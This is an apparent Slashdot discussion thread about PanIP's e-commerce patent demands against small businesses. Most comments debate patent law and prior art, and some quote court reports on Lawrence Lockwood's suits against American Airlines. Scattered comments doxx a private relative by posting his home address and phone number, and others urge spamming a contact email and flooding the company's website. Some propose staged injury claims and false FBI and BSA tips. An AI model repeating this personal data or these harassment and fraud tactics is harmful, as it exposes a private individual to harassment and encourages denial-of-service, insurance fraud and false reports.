Contact email address is: rmercado37@yahoo.com

Contact phone numbers (voice/fax) are both unlisted (www.infospace.com)

The website was only registered in 2000 - rather surprising for a supposed world player in IT.

The HTTPs server has some weird, weird unrelated stuff on it: https://www.panip.com/index.htm

The hosting company's website is not exactly professional - at least, I don't think an empty directory listing is very good: http://www.edgeinc.org

Chuck in a cut-and-paste job legal disclaimer (Google for its key-phrases) and we start to smell a scam.

Lockwood's phone number

[Anonymous Coward]

Ther is no Lawrence Lockwood listed in the La Jolla phone book, but their is a Wallace Lockwood at the same address. Perhaps someone should call Wally and tell him what his kid is doing.

Wallace Lockwood

5935 Folsom Dr

La Jolla, CA 92037-7326

(858) 454-4475

Re:Cry Hell...

[unitron]

Cry havoc and let slip the dogs of war-dialing?

Re:YAHOO Email id ?????

[Moonshadow]

Here's an idea...

Take every piece of spam in your inbox today. Go to their unsubscribe page. Type in rmercado37@yahoo.com. We might as well annoy the prick.

Double (or triple, quadruple, whatever) the spam, double the fun!

This is why we need "loser pays"

[DunbarTheInept]

This is why the US desperately needs a "loser pays" system similar to that used in English courts. If you choose to sue someone and lose, you end up having to pay *their* legal fees as well as your own. Thus if you are a small business getting sued by an asinine large business with a suit that doesn't stand a chance in court, you don't have to cave in just because the court costs are large. If the evil know-nothings suing you lose, they have the responsibility of paying for wasting your time and the court's time. That would kill the evil business strategy of "patent something everyone already knows how to do and then scare people into paying you license fees to do what they already knew how to do on their own."

Of course, the system has to have some careful safeguards in place, such as a small maximum reasonable amount of court fees to be responsible for (so that, for example, Joe Schmo doesn't have to take on the risk of paying for Microsoft's expensive lawyers if they sue him - he only takes on the risk of possibly paying for more reasonably priced run-of-the-mill lawyers no more expensive than his own.)

Personally, the safeguard I would like to see is that you end up only being financially responsible for the opponents' lawywers up to the amount you paid for your OWN lawyers. So if your laywer cost $3,000, and your opponent's lawyer cost $500,000, you at most could end up paying $6,000 if you lose ($3,000 for your own, and $3,000 worth of the opponent's lawyer's fee) If you think the case is so incredibly frivolous that you can defend yourself, you don't incur any risk of paying for the opponent's lawyers at all.

Re:This is why we need "loser pays"

[Compulawyer]

Look again. We have PLENTY of situations where statutes shift fees to the loser. We don't have a pure "loser pays" system, but fee shifts are there for appropriate cases. Case in point: 35 USC sec. 285 allows the judge in a patent case to award attorneys fees to the prevailing party. Consumer protection statutes do this as well. So do the antitrust laws.

There are also plenty of situations where it is NOT appropriate to shift fees to the loser -- such as where the determining factor in a case is an unsettled point of law and both sides are willing to litigate to get an appellate court to settle the question.

Re:This is why we need "loser pays"

[anthony_dipierro]

I wonder how much it would cost to get "frivilous lawsuit insurance". Basically the same deal as car insurance - they pay for the lawyers, and even for the settlement if you lose, minus a deductible, and up to a maximum.

The problem is that it'd probably be too expensive, because the only people buying the insurance would be those with a high risk of a lawsuit. And even then you'd probably have to abide by certain "self-censorship" rules in order to keep the insurance.

If only it were easier/cheaper to get a law degree from home, part time...

Re:This is why we need "loser pays"

[TheAwfulTruth]

This would have a MASSIVE chilling effect on small time consumers from suing large companies. That's why there isn't a law for automatic payment of fees by the loser. A judge has to decide if the lawsuit was harrassing or frivolous before imposing such fees. If it were not so, the fear of being 5 million in debt for paying Ford's lawyer fees because you sued over their poor SUV design that killed your mother and lost would allow them to completly frighten off all possible litigation for wrong doing!

Re:This is why we need "loser pays"

[hyphz]

Don't think that the "loser pays" system helps too much.

All that happens in the UK is that the big firms pump up the cost of the lawsuit as far as they can (hiring the most expensive lawyers, transporting them around, etc). If they are suing a small firm, or especially a private individual, they know that if they have to pay his costs it's barely a blip on a balance sheet, but if he has to pay theirs it could gut his business or bankrupt his family in a single fell swoop. The result is the same: they settle to avoid the risk.

The proposed system is interested, but I'd make a change: you have to pay, to BOTH lawyers, whatever you paid yours. So if yours cost $3000 and the other guy's cost $500000 and you lose, you pay only $6000... but if you WIN, the other guy has to pay $1000000, and your lawyer gets an extra $497000! (Hey, he deserves it for beating a higher-paid lawyer, right?) This ensures that the big firms still have to worry about paying costs if they lose, as opposed to being able to say '$3000? Pah.' It also, of course, means that small guys won't have much of a problem finding a lawyer in these cases...

Re:This is why we need "loser pays"

[Arandir]

Unfortunately, "loser pays" will not help our current system. The real problem is that the system can be manipulated to string out the trial. If you can afford a three year trial and the other guy can't, you win. The other guy will settle and you won't have to pay his legal fees because you will not have any judgements against you.

But there are some things that might help if they were enforced. Have the judge set the duration of the trial in advance. Allow only one attorney of record per side. And start citing lawyers for barristry.

Re:This is why we need "loser pays"

[bryan1945]

If only I had mod points...

The only other provision I would put in, which I believe that the US already has, is the ability of the judge to automatically judge a case as frivolous. Currently, I believe the case is just thrown out, with no chance of appeal. I would add that the bringer of the case would have to pay for everything, also.

Re:This is why we need "loser pays"

[hyphz]

Thinking about it again, though, I think it comes out a bit unstable.

The problem is, that under this system, there's no motive for any lawyer to charge a high fee! After all, he can get just as much money if he actually charges a low fee but defeats a high-fee lawyer. That wipes out the main benefit for him of charging a high fee in the first place. And charging a high fee is a double whammy for his popularity with customers, because not only do they need to pay a lot for him, they take a bigger risk if they lose.

But if there are no high fee lawyers, then there are none for the others to defeat, and nobody gets the pay bonus, so they start increasing fees again, but so become a target for cheaper lawyers who can get the bonus by beating them.... it seems horribly like it'll descend into some twisted tragedy-of-the-commons (where no lawyer wants to charge a high fee because it costs them popularity, but every lawyer wants other lawyers to charge high fees to jack up the bonuses they'll get for beating them...)

Eugh. I'd ask a lawyer or an economist what would happen, but to be honest they'd probably laugh.

Re:This is why we need "loser pays"

[hoggoth]

> The problem is ... there's no motive for any lawyer to charge a high fee

Yes, and it sounds like you are arguing that this is a problem.
You must be a lawyer.

Re:This is why we need "loser pays"

[DunbarTheInept]

The problem with frivolous lawsuit insurance would be that if it works anything like car insurance, people who engage in high-risk activities, such as actually having an opinion, and, say, being a vocal open-source comminity participant, would have huge premiums.

Nice idea but

[Spinality]

...it could never happen in the US. Never. There's too much history. Ask some (non-scum) lawyers about this and they'll explain the reasons this would be so hard to change. I agree it is one of the worst things about life in the US.

Suck up the site a few million time ...

[crovira]

and raise their connection costs to slightly less that NASA.

Software patents are not the root of all evil.

[digitalunity]

First off, we need people in the USPTO office to actually read the patent submissions and maybe pay them enough to keep technically minded people working there. The turnover has got to be rediculous.

And secondly, if we did the above, PanIP would not have been granted the patent. Nor would the guy who patented a method of swinging. Or many other stupid patents. Patents were designed to allow ingenious people protect their inventions and ideas. The method for inputting customer information on a computer is extremely obvious, and thusly doesn't qualify for a patent under current legislation. Or their 'invention' of the process of doing business by using the combination of images and text. Again, very obvious. I agree that 'processes', even in software, can and should be patented. I DO NOT agree that the end results should be able to be patented.

Some people disagree with Amazons '1 Click Purchase' patent. I don't. The text of their patent describes how it works, not just that a single click can purchase something. PS:Great business idea. There's no easier way to sell than with INSTANT GRATIFICATION.

I even agree with our legislation.
A software patent should something not obvious, and should explicitly and exactly outline a process. If we had Patent examiners who gave two shits about their job, things like these wouldn't happen. But, we'd probably have to pay them better. Mr. Bush probably gave all of their money to the army :(

Re:Software patents are not the root of all evil.

[Kindaian]

Software patents aren't the only evil... all patents are evil per si...

Some decades ago... the legislators, in an atempt to put order in the fast and furious times of invention... invented a low level playground called "patent". It was granted to intenvors to protect them from others thieving their ideas and marketing the fruits of them without any compensation the the original inventor.

Even in it's starting points... the rush to patent existed. The first to place the papers in the patent office would win (and that happened with patents related with telephones at least - if i recall correctly).

Patents today don't protect anything. The only thing that they allow is for restrictive access of common knowledge.

Today the great majority of all patents are pushed by companies, funded by companies and mayhappen used by companies.

The inventors at large don't profit anymore from the inventions apart from the "renown" (which they would receive anyway).

Another problem with patents is the time of "monopoly" for exploring the patent. It doesn't even protect companies anymore (see the typewriters patents and all those *inventive* tecniks to hammer the letters in the paper - and specially see where all that has gone today [and the companies also]).

Of course... the time is still the end of the 19 century... yup... where to build anything you still needed one or two years... NOT!

20 or 25 years in a software patent is just madning! In the industrial world, a patent normally don't outlast it's usefullness. But, in software, that means 5 to 6 full generations of software and arround 2 completelly diferent breads software engeneering! That is just too much...

And yes... the root of all evil is in the USPTO office. When the patent examiners are rewarded by the number of patents approved! You can add 2+2 i presume...

Enought of rantings...

You may be screwed

[thogard]

It looks like the patents date from 1980 on and their auto sales patent is from early 94 which will make prior art hard but not impossable to find. You need to do some research in AT&T's patents to see if you can find something since they were doing that sort of thing at that time and will have documented it (for legal defense). Look for their kiosk that used the Targa graphics stuff. Alos check out ATM machine patents since they imply a service that is covered in these patents.

Remember folks, you may not like it but if its gets patented first you have to pay. Its not about inventing it first, its about submitting it first or publishing it first. This means all these compaines that like to hide their internal procedures (even though they are the same as millions of other compaines) need to be published in exteranal documents or someone else can come in and sue you for patent infringement and win.

Re:Sounds like a scam

[BlueUnderwear]

... and they are hosted at a rather seedy hosting provider, which has also been known for spamming.

Sorry, it's not so simple.

[Spinality]

In a small company, and even in larger ones, it's relatively easy to "pierce the corporate veil" as it's called. Classic ways for a litigant to reach past the corporation to a stockholder or officer include such trivial things as whether your corporate minute book is totally accurate and up to date, details of your sales pitch, and of course the ever popular whims of a judge or jury, which can lead to amazing results.

There are certainly advantages to incorporating, or using a Limited Liability Company or similar framework, but it's not black and white, and every company's stockholders/officers/directors/members/etc. face various personal risks that can be substantial. This poor schmuck's story is not unusual. Many people believe they are protect by a corporate shell, but generally speaking the protection doesn't go as far as you'd think or hope. IANAL but I have scars all over my damn back. Check with an attorney about this stuff.

A Few Suggestions...

[slewazimuth]

1. Send cease and disist letters on behalf of PanIP to Microsoft, Sun, Adobe, Ebay, etc. drawing their legal department's attention to the PanIp web page. 2. Contact your congressman, state senator etc. Give them something to champion. 3. Send info to the big networks and cable news services. (You might also want to include them in step 1) 4. Contact the small business lobby groups and if your not already a member join and then have them sue both PanIP and the Patent Office. PanIP for conspiracy to commit fraud and the Patent Office for gross negligence. (There is plenty of documentation in the public domain about who invented the web, SGML, HTML, HTML forms, etc. to prove that the patent office didn't exercise proper due diligance when granting the patent or that PanIP knowingly witheld information showing that PanIP did in fact not invent what they claimed to have invented.) 5. Find out who the principals of PanIP are and send out inflamtory demands on their behalf to the hacking community. 6. Find out where PanIP's offices are and then you and your friends can "injure" yourself on their premises. There are a lot of injury lawyers who will take your case for a cut of the insurance money. Then use the insurance claim to fund your countersuit. 7. Contact the FBI etc. because as far as you and your collegues have discovered, they are a front for the Al Quaida terrorism network. (Well, dont you feel terrorized!) Bottom line is not to be intimidated. I have been on both sides of lawsuits and the onus is still on the plaintiff. Make them prove they invented the technology and that their patent was not obtained fraudulently "to the strictest proof thereof"! Don't worry about cost. Get creative and start up a legal fund. I'm sure there will be enough industry interest to drum up support. ALWAYS COUNTERSUE!

OTOH

[GunFodder]

Didn't the godfather say "one lawyer with a briefcase can steal more than a hundred men with guns"?

Re:FSF

[Iguanaphobic]

Better yet, sic the BSA on them. Anonymous tip anyone??

Re:Check your references...

[blue trane]

I have patented the idea of trolling websites.

What's this about a CRT only?

[moshek]

Apparently, the "authors" of this "invention" were not very forward-thinking as the usage of an LCD screen (instead of a CRT) will put a user outside the scope of this patent. Snipped directly from the Patent: "The satellite facilities are sales and information terminals, each equipped with a CRT (Cathode Ray Tube) for receiving and displaying requested customer information from the computer's data sources at the data processing center. Customers interactively display the audio-visual presentations by selecting various choices and entering the choices on a telephone keypad which directs the computer to select from its data sources the requested information and transmit it to the customer's CRT in their home" Hmm...

Re:Quick questions about the US legal system

[TheAwfulTruth]

Actually yes, if a lawsuit is judged as frivolous or harassing by the judge at the end of the trial. The judge can immediately order the bringer of the suit to pay all legal costs for the defendand without a new trial. It is done all the time.

State AG: Press Charges for extortion/fraud

[cryptophiliac]

Speak to your state's attorney general's office, I bet they'd be willing to go after the company for fraud and extortion, along with a whole slew of other things. If it's criminal, the AG foots the bill as they're the ones pressing charges. Once the criminal case is won, you're almost garanteed the ability to sue the f'ing sh*t out of them.

Re:State AG: Press Charges for extortion/fraud

[WEFUNK]

The fact that at least one of the patents has been invalidated by the courts probably helps the case for fraud/extortion. On that basis it seems pretty clear that they know what they're doing is blatently wrong.

Barratry is still a crime

[yerricde]

The only way anything in this case could fall under the anti-SLAPP laws is if PanIP sued the poster for slander.

SLAPP is merely a special case of barratry, the practice of filing frivolous lawsuits. Barratry is a crime in many jurisdictions and can get a lawyer kicked out of the Bar.

Re:Airlines out $500M under similar attack

[Skapare]

My brother currently has the ear of a senator and two congressmen regarding some small businesses issues. I've talked with him about the IP issues in the past, and we've concluded what is needed is a lot more evidence, details, and stories, of what is going on. Substantiated is better, but even if not, it is possible to contact the parties involved and get information. But what is needed is to show a pattern of how the current law and patent issuing process fails. If anyone has collected a list of these cases (who sued who over what patent number) that could be a big help, especially if the numbers are in the thousands.

Eerie coincidence (September 11, 2001 patent)

[Frank T. Lofaro Jr.]

Patent 6289319 was granted on September 11, 2001.

Didn't they have something more important to worry about than granting yet another government enforced monopoly?

Can't let something like a terrorist attack slow down the patent mill!

In fact, it is likely that the application was approved after even LESS than usual scrutiny (which isn't much).

Its not a clue they need -- its a lawyer

[werdna]

A cursory read of the website and the patents in suit discloses that these whiners really haven't been terribly well advised as to what is, and what is not claimed. A demand for $30,000 is large enough to justify spending some money on competent counsel to determine the costs and benefits of the settlement.

Suffice it to say, there is more here than meets the eye. These guys need a lawyer, not a website.

There is also FRCP Rule 11

[werdna]

And the Judin and Antonious cases. It is no longer safe for patent bullies to randomly attack defendants who might hire competent counsel to advise them. We recently used this to excellent effect to "encourage" a patent bully to file Notices of Voluntary Dismissal in seven separate cases. It works.

Re:There is also FRCP Rule 11

[Xentax]

Sounds interesting...got some linkage you could share to elaborate?

Xentax

RICO, it's not just for gangsters...

[markmoss]

IANAL, but I can read better than that. Actually, the court only threw out one patent completely ('355), decided certain claims of other patents are invalid but didn't throw them out (this could mean either that there was some small innovation cloaked in excessively broad claims, or else that the court simply didn't find it necessary to review the entire patent to decide this particular case), and decided other patents simply didn't apply to AA's Sabrevision reservation system.

1) The court decision cited above invalidated the '355 patent completely, yet PanIP lists it on their website, along with a section entitled "Choosing a Stock Portfolio Based on Patent Indicators". They are trying to sell stock based, in part, on an invalid patent. Isn't this fraud?

2) PanIP evidently makes no products and apparently does nothing but file vaguely worded patents, then attempt to collect royalties on them. Judging by the two patents I looked at ('319 and '355), they ignore obvious prior art in their filings -- isn't that fraudulent too?

3) Since their business plan seems to be based on obtaining income through actions verging on fraud, barratry, etc., would RICO apply?

Re:That is ridiculous

[darien]

Though the story (and the associated web page) doesn't refer to the patent number directly, the reference to "accepting information to conduct automatic financial transactions via a telephone line & video screen" strongly suggests to me they're talking about US Patent #5,576,951.

This patent was filed on 19/11/96 - erroneously, I believe, as many companies, including Amazon.com, were using this process over a year earlier. I think it extremely unlikely that PanIP doesn't realise this, but admittedly that would be hard to prove in court. So I think I should instead write to the USPTO and point out that PanIP's "invention" appears to be the same as a previously established practice. Hopefully they will either agree and void the patent; or they will rule that the patent stands because it covers something other than straightforward e-business, in which case all the little companies should be off the hook anyway.

Be careful

[Tablizer]

(* The following script helps to make it even slower.... *)

They might sue you for "electronic terrorism" or something. Gotta be careful before you mess with slimey lawyers.

Re:Be careful

[Tablizer]

(* Take another look at the site, I think they have "electronic terrorism" patented too. *)

Microsoft has "prior art".

Not the first time Mr. Lockwood has tried this.

[duffbeer703]

Here is another detailing other litigation pursued by Mr. Lockwood (the holder of this patent) and his associates.

This amicus brief gives you an insight to how these people think.
http://www.ipcreators.org/SC/Kearns/kearns _amicus. htm#Summary

Prior art

[BoneFlower]

Images and text stored together... search functions... over phone lines(expand to other networking technologies if you wish)... on video monitors.. etc...

Can anyone say X??? What they describe was entirely possible with X even in the 80s... and some of Xerox's GUI stuff back in the 70's was probably capable of such things. Late 60's ARPANET stuff could probably accomplish such tasks.

Just because I use a refrigirator in an interesting way does not mean I can patent my refrigirator. The only thing that makes their ecommerce patents different from X in the 80s is that they use it for advertising, X used the same exact techniques for computational tasks. A brand new technique can make a valid patent, but a new use for an old one does not.

But

[johnburton]

surely they'll lose this, have costs awarded against them and either go bankrupt, or get the idea that this is just going to cost them money?

Site for PanIP case defendants

[Cato]

See http://panipcase.homeip.net - already posted by someone else but buried within a thread - this is a site for several companies already being sued by PanIP. They are all small companies of course, but if they club together and get help from the EFF etc, they could probably beat PanIP and countersue. It would be well worth signing up there and commenting on their discussion forum.

Additional Information on Lawrence B. Lockwood

[stupidnickname]

Okay, you guys need to start using the internet's many spectacularly powerful databases and stop going to google for the solutions to all of life's problems. I've done some quick searches in Lexis/Nexis, and have found a few things: (1) There are no mentions of "PanIP" in any business publications indexed in Lexis/Nexis. (2) However, that should not lead us to believe that this is a troll or a scam, as Mr. Lawrence B. Lockwood certainly exists, and has been very involved in intellectual property litigation in the last decade. One case in which he was involved (In re Lockwood) eventually went to the United States Supreme Court. (3) The "CHI" Research group, mentioned on the PanIP website as a firm's technology consultant, has produced at least one article telling intellectual property lawyers to use "citations" of their patent as evidence of its validity -- which explains that whole weird thing on the PanIP website where they boast at how often their patents have been cited. (4) Intellectual Property lawyers have been using In re Lockwood as a hallmark case where an appellant demanded a jury trial.

I'll post clips of some of the relevant articles here, and in follow-up posts, since some of them are long and /.'s gonna truncate this message:

Copyright 1995 Prentice Hall Law & Business The Computer Lawyer March, 1995 SECTION: CURRENT DEVELOPMENTS; Litigation; Vol. 12, No. 3; Pg. 27 LENGTH: 484 words HEADLINE: Federal Circuit Grants Jury Trial Right For Patent Validity BODY: The designer of a patented airline ticketing machine had a right to a jury trial on the issue of patent validity, the Federal Circuit ruled on January 11. The court reasoned that the patentee's declaratory judgment action was essentially an inverted patent infringement claim, and that it was therefore legal rather than equitable in nature. In re Lockwood, 1995 WL 11271 (Fed. Cir. Jan. 11, 1995). Lawrence B. Lockwood filed a complaint against American Airlines alleging that American's computerized reservation system infringed Lockwood's two patents relating to self-service terminals and automatic ticket dispensing systems. Lockwood sought both damages and injunctive relief, and demanded a jury trial. American raised a number of defenses, including the alleged invalidity of the two patents at issue; in addition, American counterclaimed for a declaration that its activities were noninfringing and, alternatively, that Lockwood's patents were invalid or unenforceable. American moved for summary judgment that its computerized reservation system did not infringe the claims at issue in either of Lockwood's patents. The district court granted American's motion for summary judgment of noninfringement, after which it dismissed the infringement complaint. Finally, on American's motion, the district court struck Lockwood's demand that the issue of validity be tried to a jury, reasoning that the remaining claims were equitable in nature. Following the district court's decision to strike, Lockwood petitioned the Federal Circuit for a writ of mandamus directing the district court to reinstate his jury demand. The court issued the writ, reasoning that because Lockwood's underlying claim for infringement and damages was the basis of the action at the district court and the claim for infringement damages and any asserted defenses still existed in the case, Lockwood remained entitled to a jury trial on the factual questions relating to validity. American Airlines filed a petition for rehearing, making two arguments. First, it argued that, because the district court dismissed Lockwood's claim for patent infringement damages, the only claim remaining was American's claim for a declaration of patent invalidity. Second, American argued that its declaratory judgment action was entirely equitable in nature, and Lockwood therefore enjoyed no Seventh Amendment right to a jury trial. Judge Paul Michel wrote the opinion for a panel including Judges Marion T. Bennett and Alan D. Lourie. The court agreed with American's first argument, but disagreed with its second. The court concluded that a declaratory judgment action is simply an inverted patent infringement action, and is more comparable to a lawsuit for patent infringement than to an equitable action. Therefore, the court ruled that Lockwood was entitled under the Seventh Amendment to trial by jury. LOAD-DATE: April 03, 1995

Here Lockwood loses his Federal Court of Appeals Case.

Copyright 1997 Andrews Publications, Inc. Intellectual Property Litigation Reporter March 26, 1997 SECTION: Pg. 5 LENGTH: 631 words CASE: Lockwood v. American Airlines HEADLINE: FED. CIR.: AA RESERVATION SYSTEM DOES NOT INFRINGE LOCKWOOD'S PATENTS BODY: American Airlines' SABREvision reservations system does not infringe three patents held by inventor Lawrence B. Lockwood, the U.S. Court of Appeals for the Federal Circuit has affirmed. In addition, two of Lockwood's three patents are invalid for obviousness and anticipation, the court said. Lockwood v. American Airlines Inc., No. 96-1168 (Fed. Cir., March 4, 1997). (See P. 38 for the opinion.) The Federal Circuit panel unanimously affirmed the final judgment of the U.S. District Court for the Southern District of California which granted summary judgment to American Airlines, dismissing all of Lockwood's patent infringement claims. Lockwood holds three patents for computerized, interactive, self-service sales terminals designed to present audio-visual sales presentations to customers and then to enable them to book and pay for reservations on airlines and cruises and at resort hotels. The patents are U.S. Patent Nos. Re. 32,115, 4,567,359 and 5,309,355 (the 115, 359 and 355 patents, respectively). Lockwood had filed a patent infringement suit against American Airlines in 1991 alleging that its computerized SABREvision reservations system, used by airlines and travel agents to book flights and hotel rooms, infringed his patents. In 1995, U.S. District Judge William B. Enright determined that there were no genuine issues of material fact in dispute and he granted summary judgment to American Airlines, finding that its system did not literally infringe the three patents and did not infringe under the doctrine of equivalents. He held that the SABREvision system lacked the limitations of four claims of the 115 patent, that it lacked two claims of the 359 patent and that it lacked the limitation of the only independent claim of the 355 patent. Judge Enright also held that the 359 patent is invalid because it would have been obvious in light of American Airlines' original SABRE system in combination with a self-service terminal disclosed in an earlier-issued patent, U.S. Patent No. 4,359,631 (the 631 patent). In addition, the 355 patent is invalid because its claims were anticipated in Lockwood's earlier 359 patent, he ruled. Lockwood appealed, contending that Judge Enright erred in his construction of the claims of all three patents and that there were issues of material fact in dispute that should have precluded the grant of summary judgment. Ruling first on the issue of validity, the Federal Circuit said that Judge Enright found correctly that American Airlines' original SABRE system had been known or used by the public since 1962 and therefore qualified as prior art. In addition, the circuit court said that American Airlines met its burden in showing that its SABRE system, in combination with the 631 patent, would have yielded the invention disclosed in the 359 patent. The appellate panel also agreed with Judge Enright's conclusion that the 355 patent was anticipated by the 359 patent. The 359 patent was issued in 1986 while the 355 patent was the fifth in a chain of continuation applications stemming from the 359 patent application. The validity of the 355 patent turned on whether it was entitled to the filing date on the second application. Judge Enright correctly concluded that it was not because two of the three intervening applications failed to maintain the continuity of descriptive disclosure required by the Patent Act, the panel said. The circuit court rejected all of Lockwood's contentions regarding the trial court's construction of the patent claims. It found that Lockwood's own interpretations of the claims are incorrect, that he raised no issues of material fact in dispute and that he made no showing of infringement either literally or under the doctrine of equivalents. LOAD-DATE: May 2, 1997

Here's the introduction to the longer law review article by CHI Research, which includes names and corporate addresses for that consulting firm.

Copyright 1996 Omega Communications, Inc. Intellectual Property Today March, 1996 SECTION: FEATURES; "A Case for Patent Citation Analysis in Litigation"; Pg. 10 LENGTH: 2280 words BYLINE: BY ANTHONY BREITZMAN AND FRANCIS NARIN, CHI RESEARCH, INC., 10 WHITE HORSE PIKE, HADDON HEIGHTS, NJ 08035 BODY: The authors wish to acknowledge the suggestions and enthusiasm of Lawrence B. Lockwood in the development of these ideas, and the U.S. National Science Foundation for research grant support in developing these patent citation techniques. INTRODUCTION Over the last decade the use of patent citation analysis has been steadily expanding in the competitive intelligence community, where the occurrence of highly cited patents is used to identify and analyze inventions likely to be of technological importance. In this brief paper we will take these ideas further, and show why there is reason to believe that the basic concept of patent citation analysis can also be used quite effectively in a very novel application of citation analysis to patent litigation. The argument is based on the fact that most patents that have been given "Pioneer" status by the federal courts are very highly cited by later patents. We will make the argument that very highly cited patents, patents of "Pioneering Class" citation frequency, may be entitled to a broad interpretation of their claims, as are Pioneer patents. The basic idea behind patent citation analysis is that when a U.S. patent is highly cited, cited on the front pages of 20 or more subsequently issued patents, that highly cited patent is much more likely to represent an important invention than is a patent that is not cited, or cited only a few times. For example, the average citation frequency for all U.S. patents is about five cites per patent, and only 3 percent of patents are cited more than 20 times in 20 years. From a technological viewpoint, the notion of importance for a highly cited patent has been validated in a series of published studies. For example, it was shown in a paper published in the early 1980's that patents associated with IR100 awards that "honors the 100 most significant new technological products -- and the innovators responsible for them -- developed during the yearar" are more than twice as highly cited as other patents issued in the same years and in the same technologies. LOAD-DATE: September 22, 1997

And here are citations for two law review articles discussing the importance of In re Lockwood I'll snip out the relevant portions.

Copyright (c) 1997 Duquesne University Duquesne University Law Review Winter, 1997 35 Duq. L. Rev. 699 LENGTH: 16873 words COMMENT: Defining The Role Of The Jury In Patent Litigation: The Court Takes Inventory Deborah M. Altman (snip) In the In re Lockwood decision, n71 Lawrence B. Lockwood ("Lockwood") brought a patent infringement action against American Airlines, Inc.("American") and moved for a jury trial. n72 American raised several defenses to the complaint, including the alleged invalidity of the patents at issue, and counterclaimed for a declaratory judgment of noninfringement or a judgment that the patents at issue were invalid. n73 American moved for and the court granted summary judgment on the infringement claim, and the court then proceeded to consider American's prayer for declaratory judgment of invalidity. n74 American moved to strike Lockwood's motion for a jury trial, arguing that because the court had dispensed with the infringement claim, its prayer for declaratory relief was the only claim remaining. n75 The trial court granted American's motion to strike on the issue of validity, concluding that since the remaining claims were equitable in nature, Lockwood was not entitled to a trial by jury. n76 Lockwood petitioned the Court of Appeals for the Federal Circuit for a writ of mandamus directing the district court to reinstate [*709] his jury demand. n77 The Federal Circuit granted Lockwood's petition, reasoning that since Lockwood's underlying infringement claim was the basis of his action, his claim for infringement damages still existed and thus Lockwood was entitled to a jury trial on the factual issues relating to patent validity. n78 American subsequently petitioned the Federal Circuit for rehearing, which the court granted. n79 On rehearing, the Federal Circuit held that the infringement claim no longer existed and that the statements in its previous order were erroneous. n80 The court continued to disagree, however, with the trial court's reasoning that since American's claim for declaratory judgment was equitable in nature, Lockwood was not entitled to a trial by jury under the Seventh Amendment. n81 The court concluded that given the grave importance of Lockwood's Seventh Amendment right to a jury trial, "the right to grant mandamus to require a jury trial where it has been improperly denied is [well] settled." n82 The court then evaluated Lockwood's right to a jury trial on the factual questions relating to patent validity as they arose in a paradigmatic patent infringement suit. n83 [*710] In reviewing Seventh Amendment jurisprudence, the court recognized that the Seventh Amendment embraces adjudication of legal rights created by statute even where those rights have no precursor at common law. n84 The court found that the statutory test n85 requires a two-pronged analysis: (1) the court must compare the statutory action to 18th century actions brought in the courts of England prior to the merger of law and equity; and (2) the court must then examine whether the nature of the remedy sought is legal or equitable. n86 If a claim involves an adjudication of legal rights or requires the invocation of legal remedies, the court "must honor a jury demand to the extent that disputed issues of fact concerning those rights and remedies require a trial." n87 The court noted that the only claim remaining in Lockwood's case was American's prayer for a declaratory judgment of patent invalidity. n88 The Supreme Court has established that for purposes of the Seventh Amendment, declaratory judgment actions are only as equitable or legal in nature as the controversies upon which they are founded. n89 The Federal Circuit concluded that the underlying controversy for American's declaratory judgment action of patent invalidity was no more than a suit for patent infringement brought by Lockwood, in which the affirmative defense of invalidity had been pled by American. n90 Such an inversion, the court noted, "cannot operate to frustrate Lockwood's Seventh Amendment [*711] rights." n91 The court then reasoned that since this inverted patent infringement suit could have been raised either at law or at equity in 18th century England, Lockwood was entitled to have the factual questions relating to the validity of his patents tried before a jury. n92 Accordingly, the court granted Lockwood's petition for writ of mandamus directing the district court to reinstate his jury demand. n93 Notably, the dissenting judges offered some compelling arguments against the court's grant of mandamus. They argued against the Lockwood order respecting the right to trial by jury on the issue of patent invalidity, or the underlying facts, for three reasons. n94 First, the judges reasoned, the validity of a patent involves public, not private, rights and Seventh Amendment jury trials are not available for a determination of public rights. n95 Second, the declaratory judgment of patent invalidity sought by American in this case could not be the inverse of an infringement action for damages for several reasons. n96 Initially, since the infringement action had been dismissed, it no longer existed. The court erroneously granted a jury trial based on the presence of a "legal right" issue without a claim for damages. n97 Moreover, [*712] the declaratory judgment of invalidity sought by American is not the "flipside" of an infringement action nor necessarily an affirmative defense, because an affirmative defense is limited to particular patent claims asserted in a complaint while a counterclaim may challenge all claims of the patent(s) at issue. n98 Even further, the "case or controversy" required for a declaratory judgment action is the threat of a suit for infringement by the patentee against the declaratory plaintiff and thus infringement in such a case is not an issue. n99 The third reason proffered by the dissent against the court's grant of mandamus was that they considered the issue of patent validity to be a question of law necessitating resolution of underlying facts by the judge to ensure correct legal determination and uniformity of decisions. n100 According to Judge Nies, the author of the Lockwood dissent, a judge is more appropriate than a jury to make the determination of patent validity. n101 Judge Nies also noted that current jury cases are tried in accordance with confusing precedent such that evidence respecting patent validity "is thrown into the black box of the jury room." n102 Although on June 5, 1995 the United States Supreme Court granted American's petition for certiorari, n103 on September 1, 1995, after the patentee, Lockwood, withdrew his jury demand, [*713] the Court vacated the Federal Circuit's decision and remanded the case to the district court with instructions to proceed. n104

And one more:

Copyright (c) 2000 Whittier Law Review Whittier Law Review Spring, 2000 21 Whittier L. Rev. 645 LENGTH: 28154 words NOTE AND COMMENT: A Jury of One's (Technically Competent) Peers? Davin M. Stockwell * (snip) In In re Lockwood, n284 Lawrence B. Lockwood owned two patents that related to "interactive, audiovisual systems and apparatus useful in computerized reservation systems." n285 The first patent "discloses a fully automated, self-service terminal for dispensing voice and video information, goods and printed documents, and for accepting orders and payments directly from customers by coins or credit cards, without the need for a live salesperson." n286 The second patent involves a networked collection of the terminals that the first patent embodied. n287 Lockwood asserted that American Airlines infringed his patents with its manually operated SABREvision system, which permitted travel agents to use "a computer terminal [to] access schedule, cost and availability information stored in the central Sabre computer." n288 The SABRE system allowed the travel agents to gather information from customers in person or over the telephone. n289 To enforce his patent rights, Lockwood filed a patent infringement suit, seeking both damages and an injunction, and a demand for a [*674] jury trial. n290 In response to Lockwood's complaint, American Airlines filed a counterclaim against him for a declaratory judgment and, at the close of discovery, moved for summary judgment on the infringement claim. n291 The district court granted the motion, dismissing Lockwood's infringement complaint. n292 The court further struck Lockwood's demand for a jury trial because "the remaining claims are equitable in nature . . . ." n293 After the district court stuck his demand for a jury trial, Lockwood filed a petition with the Federal Circuit to reinstate his demand. n294 The Federal Circuit began its analysis by recognizing the importance of the right to a trial by jury and proceeded to explore the extent of the role served by a jury in patent litigation. n295 The court then applied the "historical test," n296 examining the evolution of declaratory judgment actions. n297 The Federal Circuit then found that American Airlines' counterclaim "is more comparable to a lawsuit for patent infringement than to any historical equitable action," holding that Lockwood was entitled to a jury trial. n298 Thus, the Federal Circuit not only supported, but also expanded, the right to trial by jury in patent litigation. Like the Federal Circuit's decision in Markman, n299 a 